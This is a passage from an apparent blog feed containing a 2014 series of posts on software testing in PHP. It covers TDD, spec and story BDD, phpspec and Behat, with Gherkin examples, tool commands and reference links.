<p>This article concludes the series on Tests:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>I've tried to put as much general information and references to blogs which
could help you to go further, in each article. In this final post, I'll regroup
those references and the conclusions.</p>

<ul>
<li><a href="#definitions">Definitions</a></li>
<li><a href="#tools-overview">Tools overview</a></li>
<li><a href="#test-driven-development-tdd">TDD</a></li>
<li><a href="#behavior-driven-development-bdd">BDD</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="definitions">Definitions</h2>

<p>A test is a way to check if something behaves correctly. This something is
called a System Under Test (SUT) and can be:</p>

<ul>
<li>the User Interface (HTML, console output, etc): integration tests</li>
<li>classes, functions: unit tests</li>
<li>interractions between those classes and functions: functional tests</li>
<li>the business value: acceptance tests</li>
</ul>

<p>Generally, you proceed as follow:</p>

<ol>
<li>have a set of input (parameters, fixtures, etc)</li>
<li>put it in the SUT</li>
<li>check the output</li>
</ol>

<p>When doing unit tests, you'll need to isolate your SUT from its collaborators
(the dependencies, the other classes used by it). To do so, you'll need test
doubles and Dependency Injection.</p>

<h3 id="references">References</h3>

<ul>
<li><a href="http://martinfowler.com/articles/mocksArentStubs.html">Tests doubles explained by Martin Fowler</a></li>
<li><a href="/2014/01/22/ioc-di-and-service-locator.html">Dependency Injection explained</a></li>
<li><a href="http://codemanship.co.uk/parlezuml/blog/?postid=1202">Test coverage can be deceptive, by Jason Gorman</a></li>
</ul>

<h2 id="tools-overview">Tools overview</h2>

<p>Frameworks can help you to automate your tests. You'll generally find these
tools:</p>

<ul>
<li>integration tests:

<ul>
<li><a href="https://github.com/alexandresalome/php-webdriver">Alexandre Salome's webdriver</a> (PHP)</li>
<li><a href="https://github.com/facebook/php-webdriver">Facebook's webdriver</a> (PHP)</li>
<li><a href="https://github.com/fabpot/goutte">Goutte</a> (PHP)</li>
<li><a href="http://phantomjs.org/">PhantomJS</a></li>
</ul></li>
<li>xUnit frameworks:

<ul>
<li><a href="http://phpunit.de/">PHPUnit</a> (PHP)</li>
<li><a href="https://github.com/atoum/">Atoum</a> (PHP)</li>
<li><a href="http://codeception.com/">Codeception</a> (PHP)</li>
<li><a href="http://visionmedia.github.io/mocha/">Mocha</a> (js)</li>
<li><a href="http://casperjs.org/">CasperJs</a> (js)</li>
</ul></li>
<li>tests double libraries:

<ul>
<li><a href="https://github.com/phpspec/prophecy">Prophecy</a> (PHP)</li>
<li><a href="https://github.com/padraic/mockery">Mockery</a> (PHP)</li>
<li><a href="http://sinonjs.org/">Sinon.js</a> (js)</li>
</ul></li>
<li>assertion libraries:

<ul>
<li><a href="http://chaijs.com/">Chai</a> (js)</li>
</ul></li>
<li>behavior frameworks:

<ul>
<li><a href="http://www.phpspec.net/">phpspec</a> (PHP)</li>
<li><a href="http://behat.org/">Behat</a> (PHP)</li>
<li><a href="http://jasmine.github.io/2.0/introduction.html">jasmine</a> (js)</li>
</ul></li>
</ul>

<p><em>Note</em>: xUnit frameworks allows many kinds of tests (they're not limited to unit
tests).</p>

<p><em>Note</em>: WebDriver is an API for <a href="http://docs.seleniumhq.org/">Selenium</a>, a java
server which allows you to interract with a browser.</p>

<h3 id="references">References</h3>

<ul>
<li><a href="http://www.xprogramming.com/testfram.htm">xUnit conventions</a></li>
<li><a href="http://verraes.net/2013/09/extract-till-you-drop/">Mathias Verraes writing tests to allow him to improve the code</a></li>
</ul>

<h2 id="test-driven-development-tdd">Test driven development (TDD)</h2>

<p>A process in which:</p>

<ol>
<li>you write the test first</li>
<li>then you write the code to make the test pass as quickly as possible (commit any sins)</li>
<li>refactor the code, clean your sins</li>
</ol>

<p>This allows you to naturally have a 100% test coverage, and it has the side
effect of making your code more decoupled (you need your code to be decoupled in
order to test it).</p>

<h3 id="references%3A">References:</h3>

<ul>
<li><a href="http://en.wikipedia.org/wiki/Test-Driven_Development_by_Example">Kent Beck's book: Test Driven Development by Example</a></li>
<li><a href="http://vimeo.com/68375232">Ian Cooper coming back to the sources of TDD</a></li>
<li><a href="http://codemanship.co.uk/parlezuml/blog/?postid=1170">False arguments against TDD</a></li>
<li><a href="http://www.daedtech.com/what-tdd-is-and-is-not">What TDD is and is not</a></li>
<li><a href="http://blog.8thlight.com/uncle-bob/2014/03/11/when-to-think.html">Where is the design phase in TDD</a></li>
</ul>

<p>About writing the code as quickly as possible, commiting any sins:</p>

<ul>
<li><a href="http://www.joelonsoftware.com/items/2009/09/23.html">Duct tape programming</a></li>
<li><a href="http://redotheweb.com/2013/06/04/you-should-write-ugly-code.html">You should write ugly code</a></li>
<li><a href="http://verraes.net/2013/07/managed-technical-debt/">Managed technical debt</a></li>
</ul>

<h2 id="behavior-driven-development-bdd">Behavior Driven Development (BDD)</h2>

<p>BDD is divided in two sections: spec and story. It comes from the lack of
direction in TDD and introduces the concept of business value.</p>

<ul>
<li>spec BDD: test methods should be sentences</li>
<li>story BDD: acceptance criteria (from user stories) should be executable</li>
</ul>

<p><a href="http://behat.org/">Behat</a> and <a href="http://www.phpspec.net/">phpspec</a> allows you to
automate the process by allowing you to:</p>

<ol>
<li>bootstrap the test</li>
<li>then you have to manually implement the test</li>
<li>bootstrap the code from the written tests</li>
<li>then you have to manually implement the code</li>
</ol>

<h3 id="references%3A">References:</h3>

<ul>
<li><a href="http://dannorth.net/introducing-bdd/">Introductiong BDD</a></li>
<li><a href="http://dannorth.net/2011/01/31/whose-domain-is-it-anyway/">Whose domain is it anyway?</a></li>
<li><a href="http://www.slideshare.net/lunivore/behavior-driven-development-11754474">Slides by Liz Keogh</a></li>
<li><a href="http://www.wekeroad.com/2013/08/28/how-behavioral-is-your-bdd/">Are you really doing BDD?</a></li>
<li><a href="http://ht.ly/pfNW5">Acceptance Test fail!</a></li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Automated tests allow you to make sure your system isn't full of bug, and help
to detect any regressions.</p>

<p>Theres many kinds out there: you can test what the user sees, what the computer
sees and what the product owner expects.</p>

<p>I'd be really glad if this cheat sheet was of some use to you. If you have any
comments, you can contact me on <a href="https://twitter.com/epiloic">Twitter</a> :) .</p>

<h3 id="note-about-bdd%2C-behat-and-selenium">Note about BDD, behat and selenium</h3>

<p>I had <a href="https://twitter.com/epiloic/status/449280860236570625">great feedbacks</a>
about the <a href="/2014/03/26/behat-quick-tour.html">Behat article</a>:
which were triggered by the following statement: "if you're using Mink
or Selenium, then you're doing it wrong". Let me re-phrase that.</p>

<p>If you're using Selenium or Mink, then you're doing integration tests, not
behavior ones. Those tools are fine: the UI is what the user sees and interacts
with, so it's important to make sure it isn't broken.</p>

<p>What isn't fine is to use Behat with these tools and then to say that you're
doing BDD. Use the right tools for the job:
<a href="http://phpunit.de/manual/3.7/en/selenium.html">PHPUnit can perfectly be used with selenium</a>,
and libraries like <a href="https://github.com/alexandresalome/php-webdriver">webdriver</a>
allow you to work with selenium without using Behat.</p>

<p>One of the question raised was: "If I can't interract with the UI, how do I test
the behavior of my application?"" Well there's many ways and the answer deserves
a whole article or even a whole series! I'll just give you the douchebag (it's
the actual application name, I mean no offense!) example:</p>

<ul>
<li><a href="https://speakerdeck.com/igorw/silex-an-implementation-detail">the slides explaining the application</a></li>
<li><a href="https://github.com/igorw/doucheswag/">the sources</a></li>
</ul>

<p>Inner conclusion: make a distinction between integration (HTML, UI, etc) and
Behavior (business value, acceptance criteria from user stories) tests.
If you can't do both, then the choice is yours: which one is the most important
to you?</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Behat: a quick tour]]></title>
            <link href="/2014/03/26/behat-quick-tour.html"/>
            <updated>2014-03-26T00:00:00+00:00</updated>
            <id>/2014/03/26/behat-quick-tour.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p><a href="/2014/03/19/behavior-driven-development-story-bdd">Story Behavior Driven Development</a> (BDD)
is all about making user story's acceptance criteria executable.
In this article we'll oversee <a href="http://behat.org/">Behat</a> a PHP framework which
enables you to do so.</p>

<h2 id="introduction">Introduction</h2>

<p>In a nutshel Behat reads your user stories and links each steps in acceptance
criteria to a function. The execution of those functions will then ascertain if
the acceptance criteria succeeded.</p>

<p>To be able to read the user story, Behat needs you to write it in a specific
format.</p>

<h2 id="user-story">User story</h2>

<p>By default, your user stories are located as follow: <code>/features/*.feature</code>.
They're written using the <a href="http://docs.behat.org/guides/1.gherkin.html">Gherkin language</a>,
which looks like this:</p>

<pre><code>Feature: &lt;user story title&gt;
    In order to &lt;business value to attain&gt;
    As a/an &lt;actor&gt;
    I need to &lt;requirements to meet&gt;

    Scenario: &lt;acceptance criteria title&gt;
        Given &lt;precondition&gt;
        When &lt;event&gt;
        Then &lt;outcome&gt;
</code></pre>

<p>The first lines will be printed while executing the acceptance criteria. The
<code>Scenario</code> keyword starts a new criteria. The <code>Given</code>, <code>When</code> and <code>Then</code>
keywords will trigger a search for a related test method. Those are called
steps.</p>

<p>Your criteria will most likely have more than three lines. You can use <code>And</code> and
<code>But</code> keywords to link the steps:</p>

<pre><code>Feature: &lt;user story title&gt;
    In order to &lt;business value to attain&gt;
    As a/an &lt;actor&gt;
    I need to &lt;requirements to meet&gt;

    Scenario: &lt;acceptance criteria title&gt;
        Given &lt;precondition&gt;
        And &lt;another precondition&gt;
        When &lt;event&gt;
        But &lt;another event&gt;
        Then &lt;outcome&gt;
        And &lt;another outcom&gt;
        But &lt;yet another outcome&gt;
</code></pre>

<p><em>Note</em>: to be fair, <code>Given</code>, <code>When</code>, <code>Then</code>, <code>But</code> and <code>And</code> keywords aren't
different to Behat: the choice is there for you, in order to make your
acceptance criteria more readable.</p>

<h2 id="context">Context</h2>

<p>The test methods should be placed in a context: <code>/features/bootstrap/FeatureContext.php</code>.
It looks like this:</p>

<pre><code>&lt;?php

use Behat\Behat\Context\BehatContext;

class FeatureContext extends BehatContext
{
    /**
     * @Given /^a sentence from an acceptance criteria$/
     */
    public function aTestMethod()
    {
        // Your test code.
    }
}
</code></pre>

<p>When Behat reads your user stories, for each step it will look in your context
and check the test method's annotations (comments starting by <code>@Given</code>, <code>@When</code>
or <code>@Then</code>) to see if it matches.</p>

<p><em>Note</em>: again, <code>@Given</code>, <code>@When</code> and <code>@Then</code> don't really matter. If you write
<code>Given I am an imp</code> in your user story, and then write a test method with the
annotation <code>@When /^I am an imp$/</code>, it will match!</p>

<p>As you can see, a regexp is used for the matching, but since the version 3.0
(still in release candidate at the time I write this article) you can use plain
text with placeholders:</p>

<pre><code>/**
 * @Given I am an/a :type
 */
public function setType($type)
{
    // Your test code.
}
</code></pre>

<p>This has been borrowed from <a href="https://github.com/jnicklas/turnip">Turnip</a>.</p>

<p><em>Note</em>: your test method name can be anything, it doesn't have to match the step
sentence.</p>

<h2 id="the-definition-of-success">The definition of success</h2>

<p>When a test method is executed, it can have the following state:</p>

<ul>
<li>not found: you need to create it</li>
<li>pending: the test method exists, but isn't implemented</li>
<li>failing: the method throws an exception or raises an error</li>
<li>succeeds: the default</li>
</ul>

<p>To set the pending state, write the following in your method:</p>

<pre><code>throw new \Behat\Behat\Tester\Exception\Pending();
</code></pre>

<p>As you can see, if you write the test method, but put nothing in it, then the
test will succeeds. The responsibility to make the success state match business
expectations is yours.</p>

<p>Behat eats its own dog food: its tests are written with itself! Which means you
can have a look at them to inspire yourself. You'll see something that isn't
written in the documentation: you can use
<a href="http://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.assertions">PHPUnit's assertion methods</a>
to make your test pass or fail.</p>

<h2 id="an-automated-flow">An automated flow</h2>

<p>Remember how <a href="/2014/03/11/phpspec-quick-tour">phpspec</a>
generates your code based on your specifications? Well it's the same thing with
Behat.</p>

<p>First Bootstrap your context:</p>

<pre><code>behat --init
</code></pre>

<p>Write a <code>/features/&lt;user-story&gt;.feature</code> file.</p>

<p>Next run the tests. For the pending steps, behat will propose you a template
code which can be copy/pasted in your test methods:</p>

<pre><code>behat
</code></pre>

<p>Then complete your test methods.</p>

<p>And finally run your tests:</p>

<pre><code>behat
</code></pre>

<p>The tests should all fail. Which means now you can start writting the code to
make it pass: it's Behavior <strong>Driven</strong> Development, remember? ;)</p>

<h2 id="misconceptions">Misconceptions</h2>

<p>A lot of people hate Behat because it's slow and it needs <a href="http://docs.seleniumhq.org/">Selenium</a>
to work, which isn't easy to install (if a novice can't install it, then it's
not easy).
Oh, and they hate it because the tests written with it aren't maintenable.</p>

<p>Guess what? They're wrong. They're probably using the
<a href="http://mink.behat.org/">mink extension</a>, which enables you to write things like:</p>

<pre><code>Feature: User registration
    In order to gain access to the website
    As a user
    I need to register

    Scenario: Giving account details
        Given I fill the field "#username" with "John"
        And  I fill the field "#password" with "Doe"
        When I submit the form "ul.form-block &gt; li:last &gt; #submit"
        And I wait until the page is fully loaded
        Then I should see "You've registered successfully"
</code></pre>

<p>The thing is, you're not describing the business value in this acceptance
criteria. You're describing User Interface (UI) interractions. And it's
completly different!</p>

<p>So here's my rule of thumb: don't use mink nor selenium.
In <a href="https://speakerdeck.com/igorw/silex-an-implementation-detail">Silex, an implementation detail</a>,
the advice given is: imagine you need to add a CLI which shares the same
functionnalities than the web interface. It would be a shame to have to re-write
all your acceptance tests, wouldn't it?</p>

<h2 id="conclusion">Conclusion</h2>

<p>Behat enables you to make your acceptance criteria executable, and automates the
process. Awsome!</p>

<p>If you're using Selenium, or the mink extension, then you're doing it wrong:
don't test the UI, test the business value.</p>

<p>Here's my workflow advice:</p>

<ol>
<li>write only one criteria</li>
<li>implement only one step</li>
<li>write the specification of one class used in the step implementation (using <a href="/2014/03/11/phpspec-quick-tour">phpspec</a>)</li>
<li>write the code matching the specification</li>
<li>go back to 3. until any code from the step implementation is written</li>
<li>go back to 2. until any step is written</li>
<li>go back to 1. until the user story is completely written</li>
</ol>

<p>I hope you enjoyed this article, be sure to
<a href="https://twitter.com/epiloic">tweet me what you think about it</a> ;) .</p>

<p>Story BDD and Behat have a steep learning curve, which makes them hard to
practice in the beginning (but totally worth it). To help you get your own way,
here's a list of references:</p>

<ul>
<li><a href="http://docs.behat.org/">Behat documentation</a></li>
<li><a href="https://github.com/Behat/Behat">Behat sources</a></li>
<li><a href="http://www.slideshare.net/everzet/behat-30-meetup-march">Behat version 3.0 announcement (slides)</a></li>
<li><a href="https://www.youtube.com/watch?v=xOgyKTmgYI8">Behat version 3.0 announcement (video)</a></li>
</ul>

<p>And of course have a look at the references <a href="/2014/03/19/behavior-driven-development-story-bdd">from my BDD article</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Behavior Driven Development: story BDD]]></title>
            <link href="/2014/03/19/behavior-driven-development-story-bdd.html"/>
            <updated>2014-03-19T00:00:00+00:00</updated>
            <id>/2014/03/19/behavior-driven-development-story-bdd.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>In this article, we'll talk about Behavior Driven Development (BDD), again.
There's no special skills required to read on, although some notions on
<a href="/2014/02/05/tests-introduction">tests</a> and
<a href="/2014/02/19/test-driven-development">Test Driven Development</a>
(TDD) would be a plus.</p>

<h2 id="from-spec-bdd-to-story-bdd">From spec BDD to story BDD</h2>

<p>So TDD has 3 simple rules:</p>

<ol>
<li>write the test first</li>
<li>then write as quickly as possible the code to make it pass</li>
<li>finally refactor, without changing the tests (and still making them pass)</li>
</ol>

<p>Like many TDD oficionados, <a href="http://dannorth.net/about/">Dan North</a> felt that it
was missing some guidelines. To fix this, he created spec BDD, which adds the
following rules to TDD:</p>

<ul>
<li>test methods should be sentences (prefix them with <code>it_should</code> instead of <code>test</code>)</li>
<li>tests should specify the behavior of the System Under Test (SUT)</li>
</ul>

<p>One of his colleagues, Chris Matts, suggested to take BDD a step further: why
not making sure the business value was met? And that's how story BDD was
created.</p>

<h2 id="acceptance-tests">Acceptance tests</h2>

<p>If you're working with agile methodologies, you should be familiar with user
stories. Those are simple cards which describe what to do in 3 lines:</p>

<pre><code>In order to attain a business value
As an actor
I need to meet some requirements
</code></pre>

<p>They've also some acceptance criteria, which follow approximately this template:</p>

<pre><code>Given a context
When an event happens
Then an outcome should occur
</code></pre>

<p>If the system fulfills the acceptance test, then it behaves correctly. By making
them executable, you can test the business behavior of your system! That's what
story BDD is all about.</p>

<p>Technically, this means parsing the acceptance tests and match each line with
a chunk of code. But don't worry about implementation details, we'll see them
in the next article.</p>

<h2 id="misconceptions">Misconceptions</h2>

<p>Somehow, a surprising number of people started to think that BDD was all about
integration tests. For example in a web application, they would write:</p>

<pre><code>Given I am on "/home"
When I click on "form#name_form input[name=submit]"
And I wait until the page is fully loaded
Then the "form#name_form input[name=first_name]" form field should contain "value"
</code></pre>

<p>What's wrong with it? Well:</p>

<ul>
<li>it's not human friendly (usage of xpath)</li>
<li>it's completely coupled to your routing (usage of URL)</li>
<li>it's entirely coupled to the web implementation (usage of web vocabulary)</li>
<li>it's thoroughly coupled to the HTML integration (again, usage of xpath)</li>
<li>it's fully coupled to the test tool (the waiting line is a hack)</li>
<li>and mostly: it doesn't describe your business need</li>
</ul>

<p>Here's a better approach:</p>

<pre><code>Given the opportunity to introduce myself
When I give my name
Then I should be greeted
</code></pre>

<p>Yep, that's the story BDD example of "Hello World", in case you didn't recognize
it ;) .</p>

<h2 id="conclusion">Conclusion</h2>

<p>If you make a user story's acceptance tests executable, then you're doing story
BDD. It helps you to make sure that your application meets your business needs.</p>

<p>Hopefully this article helped you a little. If you have any questions, rants or
praises, feel free to send them to me on <a href="https://twitter.com/epiloic">Twitter</a>.</p>

<p>Tests are hard. TDD is harder. BDD even more! Here's some good references to
help you on story BDD:</p>

<ul>
<li><a href="http://dannorth.net/introducing-bdd/">Introducing BDD, by Dan North</a></li>
<li><a href="http://dannorth.net/2011/01/31/whose-domain-is-it-anyway/">Whose domain is it anyway? By Dan North</a></li>
<li><a href="http://slideshare.net/lunivore/behavior-driven-development-11754474">BDD slides by Liz Keogh</a></li>
<li><a href="http://www.wekeroad.com/2013/08/28/how-behavioral-is-your-bdd/">Are you really doing BDD? By Rob Conery</a></li>
<li><a href="http://ht.ly/pfNW5">A.T. Fail! By Robert C. Martin</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[phpspec: a quick tour]]></title>
            <link href="/2014/03/11/phpspec-quick-tour.html"/>
            <updated>2014-03-11T00:00:00+00:00</updated>
            <id>/2014/03/11/phpspec-quick-tour.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>The <a href="/2014/03/05/spec-bdd.md">last article</a> might have seemed
too abstract. Fortunately, this one will be much more concrete! We'll present
<a href="http://www.phpspec.net/">phpspec</a>, a spec BDD tool for PHP.</p>

<h2 id="introduction">Introduction</h2>

<p>phpspec automates the Test Driven Development (TDD) and spec BDD process by:</p>

<ul>
<li>allowing you to generate the specification</li>
<li>then allowing you to generate the code from it</li>
</ul>

<p>It also forces you to follow good practices:</p>

<ul>
<li>you can only test non-static public methods</li>
<li>you cannot generate a code coverage report</li>
</ul>

<p>It also tries to be less verbose, as you'll see in the next sections.</p>

<h2 id="installation">Installation</h2>

<p>Simply install phpspec using <a href="https://getcomposer.org/">Composer</a>:</p>

<pre><code>composer require --dev 'phpspec/phpspec:~2.0@RC'
</code></pre>

<p>At the time I write this article, phpspec is in Release Candidate, but don't
worry: I've been using it since the beta version and I've never had any trouble.</p>

<h2 id="process">Process</h2>

<p>First, bootstrap and complete the specification:</p>

<pre><code>phpspec describe 'Fully\Qualified\Classname'
$EDITOR spec/Fully/Qualified/ClassnameSpec.php
</code></pre>

<p>Then bootstrap and complete the code to make the tests pass:</p>

<pre><code>phpspec run
$EDITOR src/Fully/Qualified/Classname.php
phpspec run
</code></pre>

<p>Finally refactor, but keep the tests passing:</p>

<pre><code>$EDITOR src/Fully/Qualified/Classname.php
phpspec run
</code></pre>

<p>I've found that Marcello Duarte, the creator of phpspec, talks really well about
it in his presentation <a href="http://www.slideshare.net/marcello.duarte/test-transform-refactor">Test, transform, refactor</a>.</p>

<p>I advise you to have a look at his slides, as they explain everything you should
now about the red, green, refactor cycle.</p>

<h2 id="a-tour-of-the-documentation">A tour of the documentation</h2>

<p>Surprisingly, the documentation is complete and small:</p>

<ul>
<li><a href="http://www.phpspec.net/cookbook/matchers.html">here's the complete list of assertions</a></li>
<li><a href="http://www.phpspec.net/cookbook/templates.html">here's how to customize the specification and code tempaltes</a></li>
<li><a href="http://www.phpspec.net/cookbook/configuration.html">here's how to configure phpspec</a></li>
</ul>

<p>There's nothing missing in these docs!</p>

<h2 id="prophecy%2C-the-test-double-framework">Prophecy, the test double framework</h2>

<p>Unlike PHPUnit, phpspec uses an external library for its test doubles:
<a href="https://github.com/phpspec/prophecy">prophecy</a> (but you can still find how to
use it in the <a href="http://www.phpspec.net/cookbook/configuration.html">documentation</a>).</p>

<h2 id="conclusion">Conclusion</h2>

<p>phpspec generates specification and code boilerplates for you. It forces you to
concentrate on the class behavior rather than on the implementation and it
provides a non verbose API. Even its documentations is complete and small!</p>

<p>I hope you enjoyed this article, be sure to
<a href="https://twitter.com/epiloic">tweet me what you think about it</a> ;) .</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[spec BDD]]></title>
            <link href="/2014/03/05/spec-bdd.html"/>
            <updated>2014-03-05T00:00:00+00:00</updated>
            <id>/2014/03/05/spec-bdd.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>In this article, we'll talk about Behavior Driven Development (BDD). There's no
special skills required to read on, although some notions on although some
notions on <a href="/2014/02/05/tests-introduction">tests</a> and
<a href="/2014/02/19/test-driven-development">Test Driven Development</a>
(TDD) would be a plus.</p>

<h2 id="from-tdd-to-bdd">From TDD to BDD</h2>

<p><a href="http://dannorth.net/about/">Dan North</a>, a fervent TDDist, felt that there was
something missing about this practice:</p>

<ul>
<li>you don't know where to start (which test should be written first?)</li>
<li>you don't know when to stop (should I test getters/setters?)</li>
<li>you don't know what defines a failure (compilation error? typo?)</li>
</ul>

<p>While being an adapt of the concept, he felt that there was missing some
important guidelines, and that his tests didn't answered the right questions.</p>

<p>Around 2006, he wrote an article called
<a href="http://dannorth.net/about/">introducing BDD</a>, in which he explained his unease
and how to fix it: instead of writing tests from a technical point of view he
decided to write them from a business point of view.</p>

<h2 id="from-unit-tests-to-specification">From unit tests to specification</h2>

<p>The first step to test the behavior of a class is to write a specification.
Because xUnit frameworks were in vogue, developers had the habit of making a
parallel between their Systems Under Test (SUT) and their Test Suites:</p>

<ul>
<li>suffix the SUT's name with <code>Test</code> to name the Test Suite</li>
<li>prefix the SUT's method names with <code>test</code> to name the Test Suite's methods</li>
</ul>

<p>In the Software world, a lot of problems can be solved by giving descriptive
names. And this is what Dan North did: Test Suites became Specification. Why?
Because it forces you to say "this method should do this" instead of writting
"test method".</p>

<p>To be more precise, Dan Nort stated that "test method names should be
sentences". Which means that test method names should be
<a href="http://en.wikipedia.org/wiki/Snake_case">snake_cased</a>, as underscores give more
spaces to words (they're basically spaces).</p>

<p>And that's pretty much it!</p>

<h2 id="is-that-all%3F">Is that all?</h2>

<p>Yes! Well, no. I mean... This is only the first part of BDD: it's called specBDD
(guess why ;) ). I'll write about the second part
(<a href="/2014/03/19/behavior-driven-development-story-bdd">story BDD</a>)
in a future article.</p>

<h2 id="conclusion">Conclusion</h2>

<p>BDD is just TDD, but tests become specifications and test methods are sentences
which start with "it_should".</p>

<p>I hope you enjoyed this article. If you want to make any comment, you're welcome
to do so on <a href="https://twitter.com/epiloic">Twitter</a>.</p>

<p>To keep good habits, in the <a href="/2014/03/11/phpspec-quick-tour">next article</a>
we'll switch to the technical mode and see some <a href="http://www.phpspec.net/">phpspec</a>!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[TDD: just do it!]]></title>
            <link href="/2014/02/26/tdd-just-do-it.html"/>
            <updated>2014-02-26T00:00:00+00:00</updated>
            <id>/2014/02/26/tdd-just-do-it.html</id>
            <content type="html"><![CDATA[<p>This article is part of a series on Tests in general and on how to practice
them:</p>

<ol>
<li><a href="/2014/02/05/tests-introduction.html">Introduction</a></li>
<li><a href="/2014/02/12/tests-tools-overview.html">Tools overview</a></li>
<li><a href="/2014/02/19/test-driven-development.html">Test Driven Development</a></li>
<li><a href="/2014/02/26/tdd-just-do-it.html">TDD: just do it!</a></li>
<li><a href="/2014/03/05/spec-bdd.html">spec BDD</a></li>
<li><a href="/2014/03/11/phpspec-quick-tour.html">phpspec: a quick tour</a></li>
<li><a href="/2014/03/19/behavior-driven-development-story-bdd.html">Behavior Driven Development: story BDD</a></li>
<li><a href="/2014/03/26/behat-quick-tour.html">Behat: a quick tour</a></li>
<li><a href="/2014/04/02/tests-cheat-sheet.html">Conclusion</a></li>
</ol>

<p>The first two articles didn't require special skills whereas the last one needed
you to be a little bit used to tests. Well the next ones will require you to be
a little bit used to Test Driven Develoment (TDD), so this article is here to
make you practice them!</p>

<p>I really mean it: reading articles on TDD might feel good, but the only thing to
do to fully grasp them is to:</p>

<ol>
<li>start writting tests before any production code</li>
<li>then write the code to quickly make them pass (write ugly code if needed)</li>
<li>finally refactor the mess, without touching the tests</li>
</ol>

<p>In other word: just do it! The learning curve is steep, so dive into it as soon
as possible.</p>

<p>One of the best way to learn is to pair with someone who's used to it. If you
don't have someone to pair with, you can always read this
<a href="http://www.objectmentor.com/resources/articles/xpepisode.htm">Extreme Programming Episode by Robert C. Martin and Robert S. Koss</a>.</p>

<p>The next article will be about the next level:
<a href="/2014/03/05/spec-bdd.html">Behavior Driven Development</a> (BDD).</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Test Driven Development]]></title>
            <link href="/2014/02/19/test-driven-development.html"/>
            <updated>2014-02-19T00:00:00+00:00</updated>
            <id>/2014/02/19/test-driven-development.html</id>
